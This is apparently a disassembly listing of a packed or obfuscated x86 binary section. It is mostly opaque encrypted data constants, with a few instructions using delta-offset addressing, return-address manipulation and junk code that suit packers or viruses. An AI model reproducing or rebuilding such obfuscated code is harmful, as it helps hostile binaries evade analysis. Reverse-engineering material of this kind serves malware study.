		dd 18042444h, 46000000h, 2914C356h, 0FC7CDC6h, 785h, 1800F00h
		dd 0FC000000h, 95FF006Ah, 5F91AEDh, 7CEBC08Bh, 7F9187C9h
		dd 0AA87FC9Ah, 0C78002FEh, 0C57F02F7h, 60CB0C33h, 3BE6CABAh
		dd 0EC88467Bh, 0D57B4077h, 0A3D9A7FDh, 5C7ADB0Ch, 0B1A725E1h
		dd 0A90D3AD3h, 94113C9Eh, 9F6EF9FCh, 0AA5693C5h, 7A9895E7h
		dd 0EEAF677Bh, 0BF30F16Bh, 99CF0D58h, 3692F422h, 603FA6FFh
		dd 0BD4696EEh, 0AD506A61h, 446F4515h, 0A3F6286Dh, 0E0F73543h
		dd 65554AF9h, 35EC063Ch, 534A5FAh, 0DDE8E080h, 0CAEE4C6Fh
		dd 0A1058D8Dh, 0BF0F05FEh, 0DD8D89D2h, 6A05F90Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 67BDC357h, 813BF4F1h, 8912236Dh, 0F91FE595h,	0C185C705h
		dd 805F926h, 81000073h,	0F81F64F0h, 0FD85C713h,	5F900h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0C2BEC357h, 0BC1D975h,	0FFF900C9h
		dd 0F92409B5h, 0E99D3305h, 0FF05F921h, 0F920D595h, 48B0F05h
		dd 66000000h, 666858BAh, 6A42BCBBh, 0ED95FF00h,	8B05F91Ah
		dd 547CEBC0h, 42809728h, 4572A9C9h, 0FB0751C6h,	0D09D8A60h
		dd 34961CE9h, 2B7136BCh, 0E56A8495h, 0E4AB1C4Ch, 185DEA1Fh
		dd 6CD27D80h, 1971F497h, 695D5572h, 0DE1E1915h,	9A3DD322h
		dd 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0CB2411ACh,	0F60AF8D8h
		dd 6D881DDDh, 3656A724h, 0D6530C9Bh, 0C68DEE39h, 5BE1FAE9h
		dd 0C889EB88h, 9335F770h, 0A5D607C6h, 82013818h, 99C63DE7h
		dd 0CD00F1DBh, 0E8D28ED1h, 5, 0FDCD74D4h, 7E8EFh, 0F9AE0000h
		dd 0D21F5C18h, 0BD9589C6h, 5A05F92Ch, 0A5952B58h, 8105F915h
		dd 6D65C0h, 0E9B58B00h,	6805F920h, 1B3Ah, 0FFC2B25Bh, 61BE6630h
		dd 8E0F5F3Ah, 6, 1FE58D89h, 0C78105F9h,	29DEC1E9h, 2B7FC781h
		dd 9FB53370h, 0B4E2C781h, 0BBB674DBh, 0B5893889h, 5F91F3Dh
		dd 8903E883h, 0F932CD9Dh, 0BE664805h, 0EB83864Bh, 0B8850F01h
		dd 29FFFFFFh, 0F92EC995h, 5E805h, 9BCC0000h, 66595C52h
		dd 0AF09EA81h, 0CB8B665Eh, 7475C681h, 85890000h, 5F921ADh
		dd 1CF0B8h, 0DD858900h,	0FF05F925h, 0D99D3136h,	5F05F92Eh
		dd 0D059D8Bh, 0F78105F9h, 6FDB97CCh, 0A1BD2960h, 0B405F926h
		dd 0EF816159h, 5DF40C11h, 4860Fh, 0BA660000h, 0EF81D3B1h
		dd 573408C4h, 0FBDBD31h, 8A5705F9h, 80068FF1h, 0EE8179D6h
		dd 526E3663h, 0AE5BD89h, 0C68105F9h, 526E365Fh,	8121C380h
		dd 1E8h, 1D850F00h, 66000000h, 0E97A31B9h, 27h,	5673206Bh
		dd 6D142ACAh, 835ABC38h, 5EE80BBAh, 7D99336h, 14A19D0Bh
		dd 74E905F9h, 11FFFFFFh, 78206AD1h, 8D04CB50h, 0FEA37F8Dh
		dd 0D1BD8B05h, 8905F927h, 0F90CDD8Dh, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0DDC06716h, 0C513F8F7h, 0B58BB34Fh, 5F92125h, 26C185C7h
		dd 5C7C05F9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8BD1FEC3h, 0F913B185h, 0FD85C705h
		dd 5F900h, 8B000000h, 0F90B19B5h, 99B5FF05h, 6A05F917h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 65C353h, 85896531h, 5F906F1h, 20D595FFh
		dd 0BF0F05F9h, 0FF006AFAh, 0F91AED95h, 0EBC08B05h, 64423D68h
		dd 34A9B39Ah, 0D0A4F7A9h, 2F507CB6h, 0CE58EA80h, 0D4CA473h
		dd 0CA8B7D9Bh, 0BBA603CDh, 820E1F68h, 398DB3BEh, 9526A3ABh
		dd 5A887451h, 0F22B6887h, 0A596BF0Eh, 0DECA02D8h, 908B1336h
		dd 0F54234ACh, 1D48352Ah, 4D3FE9C5h, 96DF3A75h,	1D1BCB85h
		dd 0DD9BADA6h, 8C7BA9D0h, 0F82A467Dh, 2B4E014Ch, 69E27EE8h
		dd 712ADEACh, 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h
		dd 2633A9A9h, 265AF198h, 3EAAEF5Eh, 4E603061h, 0A5E4FFB4h
		dd 2EE2F867h, 0A3BEA361h, 23CF9688h, 0A3BA7967h, 23CAC1B5h
		dd 0F8AD71Bh, 29333061h, 2633831Dh, 0DAB6C098h,	7636583Bh
		dd 85DDD615h, 0D963AC66h, 0DF26F90Dh, 2664839Dh, 23593598h
		dd 85CD1F15h, 0AB634866h, 0D890481Dh, 0B3CC039Dh, 23CA8BC1h
		dd 0A23C1493h, 26336AA1h, 85CDB015h, 0CE639F66h, 26334DAAh
		dd 0A3BEF6D8h, 23CDF79Ch, 0D8B624C8h, 76362A3Bh, 2BFEFF67h
		dd 0E2B03061h, 0D8B61794h, 7636B33Bh, 85DD2315h, 0D9635666h
		dd 0DF26840Dh, 26513D9Dh, 0AD666A98h, 74646474h, 2E4E11CEh
		dd 24DA8DABh, 6633A698h, 260CD3DFh, 0D9C62C97h,	0EF002B67h
		dd 0CF3B1713h, 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h
		dd 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h
		dd 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h
		dd 0E7B85667h, 7F6C8EC6h, 2637A851h, 85DF8815h,	0ABBE9F66h
		dd 23CDE8B9h, 9320h, 0E7FC7800h, 7310271h, 0C783C8D0h
		dd 850F4904h, 0FFFFFFF2h, 0A521B58Dh, 8D8D05FEh, 5FEA540h
		dd 0E983CF2Bh, 0E8C88B05h, 12h,	5EDC9724h, 457ED5C2h, 6F2C925Ah
		dd 0B32A23C5h, 0F5F92B9h, 0C781F3B7h, 5D70h, 692D19BAh
		dd 6841h, 860F0000h, 2,	0BA58F18Bh, 7110252Fh, 0F070C8Bh
		dd 0E981F7B7h, 3914F439h, 0E981DE8Bh, 529A0044h, 0FE9h
		dd 9EA28200h, 399209E7h, 3BC80AE2h, 548529F5h, 287F181h
		dd 9D89563Bh, 5F92BADh,	8D858951h, 8F05F919h, 958B0704h
		dd 5F90F7Dh, 2401B58Bh,	0E88105F9h, 50882895h, 905958Bh
		dd 0C08105F9h, 50882891h, 1FF5B589h, 0F88105F9h, 0FFFFA348h
		dd 0FF92850Fh, 0EE8FFFFh, 5C000000h, 8B80163Eh,	0E47FDBEFh
		dd 2FD0B3B3h, 1D858900h, 5E05F926h, 5225786Ch, 12511EEh
		dd 0C27E3203h, 25799BDAh, 256193C4h, 1250B64h, 0C2765130h
		dd 6BAAE552h, 0FAAE44D2h, 6BFD9E60h, 2CD4303h, 21251281h
		dd 887CD199h, 8021362Ch, 18213674h, 40251218h, 0DD43D15Dh
		dd 67E18AD9h, 12518EAh,	33F7A181h, 0A3E18639h, 0A907B5E0h
		dd 10A11D34h, 6B25121Ah, 2CD440Ch, 21251206h, 887BD15Dh
		dd 802136F5h, 1A213684h, 47251260h, 0DB1DD166h,	49E61B5Eh
		dd 0B62A32A7h, 39EF93DCh, 8227C436h, 0F82E5B3Ch, 852A12C5h
		dd 1251255h, 0E94DFCB0h, 125121Dh, 0B980A497h, 0E87EEEF0h
		dd 12513C7h, 0E97712EBh, 12512C3h, 5BE64840h, 50146B9h
		dd 5015699h, 1251219h, 0A0E64044h, 59B7464h, 53758242h
		dd 128FBA0h, 0B7A21260h, 0E156D8D9h, 0B472B0BDh, 0B69523C9h
		dd 302A731Ah, 127990Ch,	60451281h, 61754A9Ah, 0FF2900DFh
		dd 60D5997Bh, 0D29A1D88h, 25691303h, 522578F8h,	12511EBh
		dd 0C27E3281h, 25799B9Bh, 25619364h, 1250A34h, 0C2765118h
		dd 7264A21Dh, 0CAA47427h, 6B7D22BBh, 2CD4781h, 212512C0h
		dd 8878D13Dh, 8021365Ch, 1C21365Ch, 4425120Ch, 0ADC9D153h
		dd 5E088613h, 0AFC2D94h, 48909939h, 8A20EB48h, 0F836778Dh
		dd 2DE5911Dh, 1239C03h,	0BC241206h, 4DC3912h, 0E6A41A0Ah
		dd 938701Bh, 154C97E9h,	8A4317C9h, 14FEE50h, 126FA5Ah
		dd 5F051206h, 75AC4CC0h, 45A416A5h, 13916E4h, 57631260h
		dd 8F2FB2F3h, 0A61D1CEDh, 94AC0CA6h, 4DC1AA3h, 33D48F2Ah
		dd 80431778h, 0EDA24F9h, 1259FE4h, 5CB81130h, 8220EB36h
		dd 14F1BCDh, 126FA53h, 5C051203h, 6DAC4F42h, 45A416E4h
		dd 1301644h, 54601230h,	81CFA1DBh, 38A527E3h, 84A01DEFh
		dd 28251203h, 0F8162304h, 6499C5h, 123936Fh, 840C1230h
		dd 4DC3539h, 14FDA0Fh, 126FA56h, 59051203h, 45AC4A42h
		dd 45A416E4h, 1381644h,	51651230h, 582AE1DBh, 0A42DAC85h
		dd 61AE491Ch, 60DEF883h, 6720D302h, 0C7B1D841h,	4AB52BE1h
		dd 842A9973h, 1251228h,	15AC8F25h, 8CA817FFh, 4DC5CEBh
		dd 2328AF08h, 29D1739h,	0E9251260h, 125123Dh, 2CC1334Eh
		dd 0EE190E63h, 28CCD504h, 5FDD9902h, 0D9AEF37Eh, 12CFAA1h
		dd 2B111260h, 3EBD526Eh, 5AB7B2FAh, 0A726AF81h,	8CA817F8h
		dd 4DBBA9Ch, 93A66639h,	88A021C1h, 2A20EB54h, 3CCD3FFh
		dd 5225786Ch, 12511EEh,	0C27E3203h, 25799BDAh, 256193C4h
		dd 1250B64h, 0F305E983h, 6AC08BA4h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 23AC351h
		dd 6A9B5A64h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 4AA9C356h, 4AE1BB65h, 0F28177ADh
		dd 6D932089h, 0A924C38Bh, 51002E40h, 23D1B8D0h,	518CBA58h
		dd 61F9B0D0h, 0A827CAE4h, 15923AA0h, 0AD712160h, 0F85D47D5h
		dd 10E2B886h, 0A81137D6h, 8061B65Ch, 35C9362Ch,	0ADD9C051h
		dd 0F04AE02Ah, 0BA3D8E56h, 0DC44362Ch, 107163C2h, 0A81137D6h
		dd 8061B65Ch, 35C9362Ch, 0ADD9C3A6h, 0F04AE02Ah, 337BB2B3h
		dd 28166358h, 0F279DC3Bh, 3D12F35Eh, 0AD712348h, 0CE8BB8B3h
		dd 0A848EB59h, 0A812DB83h, 0F6A833D5h, 0DCCD6D16h, 0ECA337F1h
		dd 0A80437F1h, 0FECE33D5h, 2286BC16h, 0A7269B1Dh, 0A8120D51h
		dd 0FB8859D5h, 0A844303Dh, 6B7913D5h, 8C4DBA8Eh, 8CCCB2D1h
		dd 0A84427D1h, 6B7170D5h, 0D584BAB9h, 2B8DCAC7h, 514F7A68h
		dd 2C2D33D0h, 0A81133D9h, 990DB6FCh, 0ACAD362Ch, 512233D6h
		dd 0A836336Bh, 0FA8859D7h, 0A844303Dh, 6B7813D5h, 8C45BA8Fh
		dd 8CCCB2D1h, 0A8442AD1h, 6B7071D5h, 0F8404ABDh, 35B9BB3Fh
		dd 0ADBD3ACCh, 0B6995529h, 0EE94BE95h, 408DCF0Ah, 0A84433DEh
		dd 0FC36A076h, 0F494524Bh, 0C80104AFh, 3E84B2B3h, 0C943535Fh
		dd 1FC1CC8Fh, 0A748B6CDh, 0A8444E51h, 0BE9955D5h, 0FF29B2CFh
		dd 0A773B2B3h, 0A8440B50h, 0FB2259D5h, 0A811303Dh, 6BD313D5h
		dd 8C18BA8Eh, 8C66B2D1h, 0A8112BD1h, 6BDB70D5h,	19BF55BDh
		dd 81BFB80Ah, 0CE14CACDh, 0AA8C4B54h, 1BC03CD7h, 212233D7h
		dd 51003A68h, 900955D0h, 2D4B5349h, 0A82233FFh,	2866C555h
		dd 0A76031ADh, 0A8442E50h, 619FB8D5h, 0CE14CAD2h, 0A88E4B54h
		dd 0A3C13C7Eh, 232233D5h, 51073668h, 0AAF0DAD0h, 0A8FA33D5h
		dd 0C26432D4h, 0ABF964D5h, 888833D5h, 211BF08Ah, 292617A9h
		dd 0B5151791h, 0EF8833D5h, 1811F082h, 37302F90h, 51A14A8Ch
		dd 0BB71BE5Eh, 2814362Ch, 257D220Bh, 54CE7550h,	0AD05B8D0h
		dd 5741CACDh, 0A831DA05h, 704533D5h, 6813196Eh,	925E49D4h
		dd 0F0D73B3Bh, 30006B96h, 0A748B6E3h, 0A845F551h, 0C0FBB2D5h
		dd 2911034Dh, 0AAB555EDh, 9EC13CD7h, 0C22233D5h, 0ABF961D5h
		dd 888833D5h, 211EF08Fh, 29261781h, 0B3151791h,	0EA8833D5h
		dd 88FAF087h, 7CD07A99h, 0D0909E6Bh, 0F7B555D3h, 7BC03CAFh
		dd 0CE2233D4h, 2372326Eh, 9009550Dh, 2D4B5349h,	0A82233B0h
		dd 404033BFh, 0A88833D6h, 0F1876AF5h, 0AC067F5Ch, 0AC357754h
		dd 0A88833C1h, 0FA876294h, 0A8223E3Ch, 3203CAD5h, 26F4A744h
		dd 0E549A542h, 0D0A2501Eh, 2D1EDBD7h, 0A88833F8h, 2922CB5Eh
		dd 682235ADh, 0A80EB6DAh, 0A7E833D5h, 0A844355Dh, 5DBFBAD5h
		dd 2314CAF3h, 51BC9A60h, 0CBAD52D0h, 212233D4h,	51314258h
		dd 0A9888DD0h, 0A82E4DD4h, 0A821DB87h, 0F23133D5h, 0FC016916h
		dd 0ECC537F1h, 0A83F37F1h, 0FA5333D5h, 0BBE9D16h, 33DC6FD6h
		dd 0CE219BCBh, 2D38ED5Eh, 0AD713AD8h, 7702B658h, 43A83629h
		dd 0BDF4B65Ch, 7877362Ch, 0DFFE5582h, 68A76946h, 0A8ACB7DAh
		dd 0AF6033D5h, 394433D5h, 0A6078DC9h, 251EF83Dh, 0A88833C2h
		dd 0A844213Ch, 134534D5h, 4E4C72Eh, 7D534E3Eh, 7C63DA88h
		dd 0F70DF948h, 0A7F90B55h, 0A8887D50h, 0F84459D5h, 0A822303Dh
		dd 6B4913D5h, 8CCCBA8Dh, 8C00B2D1h, 0A8222BD1h,	6B4173D5h
		dd 1A2A7D53h, 2D4B6302h, 0A82233D3h, 8CC88E5Eh,	28D1362Ch
		dd 0A73736ADh, 0A8222550h, 289985D5h, 0A7DB34ADh, 0A844A651h
		dd 3C7689D5h, 29775D59h, 0CE342D26h, 0ADCB0B54h, 0A813B6DAh
		dd 297133D5h, 3D5DA3Eh,	79CF55EDh, 0AE5AB3B4h, 0B4943CBDh
		dd 288833D5h, 29222807h, 8DDD38ADh, 0A81CB6DAh,	1D0133D5h
		dd 0ADBD3A70h, 0A822623Ch, 837886D5h, 0FA885915h, 0A844303Dh
		dd 6B7813D5h, 8C45BA8Fh, 8CCCB2D1h, 0A84424D1h,	6B7071D5h
		dd 96645AA8h, 8361F254h, 82AD3CA5h, 0C22233D5h,	0ABF966D5h
		dd 888833D5h, 2119F088h, 292617B9h, 0B3151791h,	0ED8833D5h
		dd 3E7CF080h, 0BE19A0CDh, 0A9A9E0AEh, 1F8833D5h, 0AEADA360h
		dd 722233D5h, 4518120h,	973363D1h, 383D7D80h, 407033BFh
		dd 0A81133D6h, 0F24B69F5h, 0AC60675Ch, 0AC067754h, 0A81133C2h
		dd 3C4B6197h, 21CA5B01h, 5138FA50h, 0A1ACBED0h,	258DCD7Ch
		dd 56E9BF58h, 0FD018BD0h, 2D1244B3h, 0AD712DFCh, 888DFCFEh
		dd 2E4DD4A9h, 21DB87A8h, 3133D5A8h, 16916F2h, 0C537F1FCh
		dd 3F37F1ECh, 5E983A8h,	5158A4F3h, 72DBD8Bh, 605A05F9h
		dd 33CDB529h, 0B58905F9h, 5F90B01h, 0FC00B61h, 5684h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0D850F2Bh, 0E9000000h, 8, 0F5763032h, 0CDA2CB06h, 4EE8B58Dh
		dd 666005F9h, 8AB6F18Bh, 3B861h, 81660000h, 0FF584AD3h
		dd 9E9E6h, 52720000h, 0F537B66Dh, 404CAA0Dh, 9018529h
		dd 0C08B05F9h, 17CD8D89h, 2AB905F9h, 836C83BBh,	0F931C9BDh
		dd 9750005h, 12B5BD83h,	740005F9h, 8B535019h, 403B8C0h
		dd 85890000h, 5F915DDh,	0F3EB9D8Dh, 0D3FF05FBh,	0BD83585Bh
		dd 5F912B5h, 50177400h,	403B853h, 85890000h, 5F915DDh
		dd 0F08C9D8Dh, 0D3FF05FBh, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 241E3FC3h
		dd 8166B19Eh, 6AB1A1DAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0E973C352h,	0A483ACEDh
		dd 5BFE15DCh, 0FE98DB7h, 0B2000000h, 0A76CC2FFh, 33EF33EEh
		dd 0AE6E069Eh, 0C08B5B1Dh, 7FDBD8Bh, 0E96105F9h, 1Eh, 363A713Fh
		dd 6 dup(0)
		dd 0AFE90000h, 7E000007h, 4F76AE63h, 597CA06Fh,	8570946Fh
		dd 5C7BA164h, 0CF659770h, 42C52552h, 7A913B9Ah,	51B823C2h
		dd 6AA34CABh, 0AC6710B2h, 2397D6D1h, 0CED7994Eh, 787D8831h
		dd 0B1644BA1h, 4E369613h, 69A449A8h, 304FC564h,	46B13FA5h
		dd 309C5BFBh, 0F9AA22D7h, 99B6B400h, 1E44EE0h, 0FDBC31DCh
		dd 73214417h, 6787AB9Dh, 7BA66788h, 872AB99h, 0AF3F90B7h
		dd 828D3136h, 0BA2AA257h, 5EC0F335h, 4EBEBF5Ch,	4E3B2996h
		dd 0D9AE3FA8h, 0CF3E9F8Dh, 0DD308D2Ah, 3BD801D8h, 29964E42h
		dd 22CC2BFh, 0FBDFF8E3h, 0E229930Ch, 0EBD2F527h, 2E90971Eh
		dd 6CB42ABh, 408BF9DBh,	63739968h, 4B1E8F76h, 5AB51986h
		dd 77708653h, 6D516ED3h, 0D87E2BA2h, 8C2F3D29h,	18FA878Dh
		dd 0D0EF68E5h, 95BF3A43h, 0FFCAB729h, 89F41FDAh, 62995BFh
		dd 0DE3BF519h, 0FF1CF7E1h, 2995BF7Eh, 0D2C30EFBh, 0D7F8F717h
		dd 6614BF36h, 0B2995BFh, 0EF08A6B4h, 0F61B3BCAh, 4D2F9B7Ah
		dd 0AB3Bh, 31CE0D00h, 9D6C4F8Ch, 66884118h, 59756687h
		dd 9F6A3FB6h, 85D2A52Eh, 0CC752996h, 17252D48h,	8A5F56B5h
		dd 28149222h, 43EBF706h, 56F811BCh, 2F2C3FB1h, 0CAF0074Dh
		dd 0B10D181Ch, 0B9704858h, 18995h, 8C5B0000h, 0B5507964h
		dd 2DA06940h, 0B069A64Ah, 6667A647h, 9F4AA3B3h,	5C51B218h
		dd 618A698Dh, 97C47DA4h, 299685E6h, 9239A663h, 9F0ED777h
		dd 0EB2BAA8h, 0F221D801h, 29968587h, 3DF71704h,	2BE8359Ah
		dd 29968552h, 0FCE223C8h, 5E64BFE2h, 0C9D5A1h, 2AE910C9h
		dd 2995D64Fh, 717FB2CCh, 7D1FA5FEh, 7698A2B4h, 26A7608Ch
		dd 0C7729D41h, 0F0A47345h, 0F618E42Eh, 37E40AEDh, 95C4611Ch
		dd 0E821DE29h, 0ED802E5h, 4A5FCC86h, 0E6E7222Fh, 8C528077h
		dd 0B3B9A580h, 20D90007h, 961F8AF3h, 0F41A0729h, 0DB329B3Ah
		dd 0DA359926h, 21EAD4D3h, 2234FDACh, 17FCDEC9h,	0CCB0AFB5h
		dd 47D455BAh, 29962636h, 63BF6B3h, 1546D1F9h, 29962664h
		dd 49ED24E1h, 0B83FF8A0h, 2EFBF213h, 8D000BB1h,	9FCB3ADCh
		dd 2F03C5A7h, 0C8E24Dh,	0C23D0000h, 0F813B918h,	49ED24F5h
		dd 0A7608CF3h, 5F259A72h, 0F5D72E9Bh, 79622C8Ch, 9950098Ch
		dd 5D8B6C75h, 0A4482FA6h, 65857263h, 226D2BA2h,	14E36A34h
		dd 1106E6C6h, 960C7702h, 0C207F429h, 0F80FBB1Ah, 8CCFCB41h
		dd 0DDCDD1A8h, 22C7B039h, 40F0AB1h, 2995AE79h, 9C009F6h
		dd 0CE35A384h, 0EFFE0C7h, 4831E287h, 0C52995AEh, 6D794CD8h
		dd 7260A7B1h, 2F8B2894h, 0BB239C4Dh, 66886154h,	7CBAh
		dd 31CE8C00h, 5D0C818Ch, 860677A4h, 86832996h, 0AE598170h
		dd 7C9D4027h, 96859EDFh, 5EA71429h, 5F1C8257h, 62886FAAh
		dd 0CE8D2CA1h, 299685ABh, 0A0B67B28h, 58868147h, 7A9F6854h
		dd 0DC8EE192h, 8195B1D9h, 31CE59B7h, 0B916818Ch, 66886154h
		dd 25A86787h, 9685D89Eh, 0A36C5429h, 31A64532h,	4647828Dh
		dd 0BD3FFF6h, 3AF4E2BDh, 0E4E91CBDh, 70EC2135h,	354D2F5Dh
		dd 1, 8D31CE0Fh, 0C32C0B82h, 806F7F4Ah,	0C970A95Ah, 74798E2Eh
		dd 85E396A5h, 809B2996h, 299685FDh, 3A198D7Ah, 0A7827390h
		dd 0B4577562h, 1DC66841h, 376A55Ch, 80299686h, 5B847383h
		dd 923C3BB2h, 4A737479h, 0EC27D2C3h, 29968591h,	3413110Eh
		dd 5DE27826h, 860677A4h, 86832996h, 0A9459170h,	63DE2F23h
		dd 52078E75h, 396CBF7Ah, 9BBB7691h, 6F956E5Ch, 99E46FCAh
		dd 1629964Ch, 7F769537h, 93CF5FAAh, 0DD24DD05h,	870EFBE2h
		dd 25093CD2h, 382F8F6Eh, 0C029964Bh, 0A960A713h, 6F964324h
		dd 0AE4B94BAh, 575EA911h, 607D6C82h, 618B74ADh,	0E07623AAh
		dd 0CB88B156h, 239D2AB2h, 2AD0A96Ah, 504D239Dh,	4E9DB16Eh
		dd 6A199C71h, 239D2B0Dh, 7B715DA8h, 5E89BB52h, 7F558C81h
		dd 1BF17416h, 11BA2511h, 62801F4h, 18F5DADDh, 633EBE1h
		dd 860706E7h, 372E01D3h, 198B54FAh, 0A34C202Eh,	57A0D97Ah
		dd 1B2B239Dh, 94F3945Ch, 0C30EFBEBh, 7D1CD021h,	0CFE848D6h
		dd 0BF9A1BEAh, 0F717F8D8h, 19D2Bh, 31CEFD00h, 410B828Dh
		dd 290E2275h, 628E1EAh,	6B96CC5Ah, 8EC6DAB0h, 4D403D2Fh
		dd 30A913ACh, 0A6737A8Bh, 9FAF6A6Bh, 6DAE6F50h,	239CAF0Ch
		dd 0AC559C89h, 0D363AA13h, 8F617E69h, 16E04707h, 60995012h
		dd 21947357h, 3A3DA648h, 65AA4695h, 0DCAB29ACh,	9A419E8Eh
		dd 3D6D734h, 457966B1h,	0F53CE744h, 0E32EC24Fh,	1EF648D6h
		dd 371AD6ABh, 87A3B379h, 4Eh, 8E815D5Ah, 76BC5207h, 0D70365FFh
		dd 1340F930h, 0A996854Ah, 0D8DF1A07h, 0C39617F8h, 7009BA33h
		dd 7BA99685h, 3C905E8Ch, 9A9FE3F2h, 0A0BC528Dh,	831E83Ah
		dd 4E3FCEEFh, 85D87B9Bh, 4229959Dh, 8C2DA613h, 0C379B079h
		dd 0D922h, 69FF5E00h, 3B4B0831h, 0E12F8F86h, 0C1DE76EBh
		dd 0E90D1693h, 0E7ED1411h, 78BBE65Ch, 66174428h, 0E3239CF8h
		dd 0A24BEB26h, 2FD53895h, 0EFE627C8h, 0C403C24Ah, 14996C4Dh
		dd 60B86F45h, 0A9CF8294h, 4A239D41h, 75571743h,	0C85FF5A4h
		dd 6392A418h, 578A37Ah,	82239CC9h, 0D8342F85h, 0EBA23173h
		dd 0DC4AFE26h, 7A645B86h, 41C62691h, 0BC799D4Ch, 9B51C59Fh
		dd 35977429h, 442FE154h, 0A738038h, 871D9E29h, 4EC11D9Ah
		dd 0A2579247h, 28C1BC57h, 0F3E1D9Eh, 81585DACh,	3A3DA648h
		dd 72757895h, 0DC2F8D4Ch, 0C4C900D9h, 9D10F7E3h, 56D6339Ah
		dd 0A7BB636Fh, 5BBE1D9Ah, 9E28BDC0h, 844D3A1Dh,	47B65811h
		dd 0C812841Bh, 0C348A611h, 0B550633h, 0BA239CD7h, 1BD62D9Bh
		dd 69FF47E9h, 85671241h, 37E42996h, 580C47F2h, 422F9534h
		dd 0D6215CF7h, 3BAC2397h, 46B47650h, 59BB685Eh,	0A06B23D0h
		dd 728AACE3h, 0EC9ECD98h, 579280BCh, 54B715A2h,	7D668861h
		dd 81B8557Ah, 12985A76h, 0B98A9FEFh, 4126A762h,	96B8719Ch
		dd 7994399Ch, 729137C0h, 268003DCh, 0C0575C80h,	0F7DEFEF9h
		dd 5CF237D6h, 44FDB19Dh, 0D2F36617h, 1026E3EFh,	0E811FCE1h
		dd 0F3770211h, 7F4EFD2h, 0E8EC4DE7h, 67D13048h,	0DE0D21CAh
		dd 0E0890C01h, 967B9BECh, 9EB0402Ah, 0BA7E6A4Fh, 0C5CC5308h
		dd 5B5C5198h, 0E199C73h, 0E65657ACh, 71BC30Fh, 193AFF3Ah
		dd 0EFD2C560h, 6A1320DDh, 0E7EFD2C5h, 0F9E5143Ah, 0B120CA35h
		dd 25C9000Bh, 40E429C6h, 0C1E1F5D7h, 0DC10161Ah, 0DE12BB3Ah
		dd 8DD7670h, 70A9600Bh,	92A46387h, 0A4C59h, 12AD0000h
		dd 7F5A5BA8h, 390FC96Fh, 29AC658Ch, 696CA13Eh, 23AA5F7Eh
		dd 7C719A44h, 35B84F7Bh, 787D8A32h, 3ABB4A6Fh, 75788B2Dh
		dd 0CCC14E72h, 2F4681Bh, 3C890000h, 5CFD6824h, 34890000h
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 0BE240C89h
		dd 561860D0h, 7B50BA52h, 0EA817635h, 1F5820FCh,	0EA81D2F7h
		dd 0F93C576Dh, 835AD601h, 248904ECh, 24048124h,	4, 4EC8359h
		dd 0BA241489h, 8, 3289CA01h, 2434FF5Ah,	4C48159h, 8B000000h
		dd 89512434h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 0C858E95Ch
		dd 378DFFFAh, 7A2EA2F2h, 30B85F31h, 305FEB6h, 2EE0FFC5h
		dd 0EE0225EDh, 0F40282EDh, 3E5134B7h, 7E3227ABh, 782B784Dh
		dd 0E64968Bh, 851B86AFh, 33214026h, 4C77699Bh, 725792BEh
		dd 0CA0E82EFh, 2E25C385h, 12719C79h, 69040311h,	0BC424F46h
		dd 156A5268h
		dd 0DE772FF8h, 0EF6A6186h, 8D0882FCh, 0FEB7EA8Dh, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 6D9D89C5h, 8905F92Bh, 0F90CDD8Dh, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 3CA99A7h, 14B261F5h
		dd 31CDBD8Bh, 85C705F9h, 5F926C1h, 6AF8h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 0D8C35747h, 0FE8F518h
		dd 38Dh, 70F68000h, 15ED958Bh, 85C705F9h, 5F900FDh, 0
; ---------------------------------------------------------------------------
		push	esi
		xor	esi, [ebp+5F90759h]
		pop	esi
		push	dword ptr [ebp+5F903D1h]
		mov	ah, cl
		call	dword ptr [ebp+5F920D5h]
		push	0
		push	ecx
		call	sub_5C6DB9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6DB9	proc near		; CODE XREF: .XComp0:005C6DB1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C6DB9	endp

; ---------------------------------------------------------------------------
		sub	[ecx-5553CB29h], al
		inc	esi
		push	0
		call	dword ptr [ebp+5F91AEDh]
		mov	eax, eax
		jmp	short loc_5C6E34
; ---------------------------------------------------------------------------
		dd 5E511F31h, 0FB3A89BDh, 66957DD5h, 54E5C24Eh,	6FA76389h
		dd 0E155AE56h, 8EE0B65Ch, 0E927E473h, 5F07B549h, 0D7782D4Fh
		dd 29C187F9h, 71207969h, 96E8136Dh, 81FDF7C8h, 84F197DFh
		dd 7EFFBE16h, 0EB56D24Fh, 0E895B7CFh, 2047F138h, 0D3DB537Fh
		dd 73F2EE04h, 0EA6D9EA8h
; ---------------------------------------------------------------------------


loc_5C6E34:				; CODE XREF: .XComp0:005C6DDAj
		jmp	loc_5C6EE9
; ---------------------------------------------------------------------------
		pusha
		mov	dx, ds
		test	dl, 4
		jnz	loc_5C6E52
		cmp	eax, [ebp+5F92719h]
